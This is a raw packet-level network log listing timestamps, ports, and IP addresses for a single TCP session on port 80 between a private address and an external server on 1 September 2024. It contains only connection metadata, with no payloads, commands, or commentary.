Sep 1, 2024 01:30:05.435976028 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.435992956 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.436002970 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.436012030 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.436021090 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.436031103 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.436033964 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.436043024 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.436052084 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.436067104 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.436091900 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.436094046 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.436103106 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.436120987 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.436131954 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.436135054 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.436141014 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.436150074 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.436152935 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.436161041 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.436170101 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.436172009 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.436181068 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.436194897 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.436204910 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.436228037 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.452590942 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.452677011 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.452686071 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.452692986 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.452697992 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.452708960 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.452718973 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.452728033 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.452755928 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.452799082 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.489234924 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.489248037 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.489259005 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.489342928 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.489352942 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.489371061 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.489373922 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.489381075 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.489392996 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.489402056 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.489413977 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.489418030 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.489434004 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.489438057 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.489445925 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.489454031 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.489456892 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.489470959 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.489480019 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.489490032 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.489492893 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.489516020 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.489533901 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.490096092 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.490104914 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.490114927 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.490147114 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.490150928 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.490161896 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.490175009 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.490190029 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.490199089 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.490206957 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.490230083 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.490236998 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.490268946 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.490540028 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.490557909 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.490566015 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.490582943 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.490605116 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.490617990 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.490627050 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.490638018 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.490654945 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.490659952 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.490672112 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.490700006 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.490731955 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.490773916 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.525671005 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.525738955 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.525748968 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.525758982 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.525759935 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.525774002 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.525799036 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.525799990 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.525816917 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.525826931 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.525836945 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.525836945 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.525847912 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.525859118 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.525870085 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.525875092 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.525913000 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.525945902 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.525957108 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.525966883 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.525983095 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.525990963 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.525990963 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.526000977 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.526010036 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.526041031 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.526046991 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.526051998 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.526062012 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.526081085 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.526115894 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.526134014 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.526144981 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.526154995 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.526164055 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.526175976 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.526199102 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.526479006 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.526525974 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.526570082 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.526578903 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.526588917 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.526599884 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.526617050 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.526645899 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.526655912 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.526667118 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.526676893 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.526700020 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.526715994 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.526978016 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.526988029 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527014971 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527029991 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.527055025 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.527146101 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527157068 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527167082 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527177095 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527187109 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527189970 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.527196884 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527208090 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527225971 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.527246952 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.527287006 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527298927 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527308941 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527331114 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.527349949 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.527446032 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527455091 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527466059 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527475119 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527483940 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527493954 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527496099 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.527519941 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527529001 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.527530909 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527554035 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.527582884 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.527626038 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527636051 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527646065 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527654886 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527672052 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.527693987 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527702093 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.527704000 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527714968 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527724981 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527735949 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527736902 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.527760029 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.527781010 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.527796984 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527836084 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.527852058 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527895927 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.527945042 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527964115 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527975082 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527985096 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.527990103 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.527996063 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.528004885 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.528011084 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.528018951 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.528042078 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.528063059 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.528111935 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.528120995 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.528131008 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.528141975 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.528153896 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.528156996 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.528187990 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.528229952 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.528269053 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.528270006 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.528285980 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.528295040 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.528312922 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.528335094 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.528373003 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.528383970 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.528393030 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.528403044 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.528418064 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.528419018 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.528429031 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.528441906 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.528465986 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.544908047 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.544959068 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.544967890 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.544975996 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.544979095 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.544991016 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.545010090 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.545013905 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.545020103 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.545031071 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.545051098 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.545059919 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.545073032 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.545095921 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.581759930 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.581773996 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.581790924 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.581801891 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.581819057 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.581830025 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.581830025 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.581840992 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.581851959 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.581861973 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.581870079 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.581872940 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.581883907 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.581885099 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.581902981 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.581922054 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.581959009 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.581969023 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.581979990 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.581989050 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.582000017 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.582034111 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.582468987 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.582482100 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.582492113 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.582503080 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.582511902 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.582520008 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.582545996 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.582550049 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.582561016 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.582561016 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.582573891 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.582586050 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.582607031 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.582928896 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.582967997 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.582989931 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.582998037 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.583009958 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.583026886 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.583050966 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.583082914 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.583091974 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.583101988 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.583111048 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.583122015 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.583146095 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.618499994 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.618592024 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.618701935 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.618721962 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.618732929 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.618750095 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.618752956 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.618765116 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.618774891 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.618777037 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.618787050 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.618796110 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.618805885 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.618809938 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.618815899 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.618827105 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.618832111 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.618835926 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.618846893 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.618855953 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.618856907 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.618865967 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.618879080 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.618880987 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.618894100 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.618900061 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.618904114 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.618913889 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.618916988 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.618923903 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.618947983 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.618978024 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.619044065 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.619090080 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.619134903 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.619146109 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.619155884 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.619167089 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.619177103 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.619177103 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.619188070 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.619203091 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.619220972 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.619646072 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.619657040 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.619668961 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.619693041 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.619713068 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.619745016 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.619756937 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.619766951 CEST	80	49713	185.215.113.16	192.168.2.5
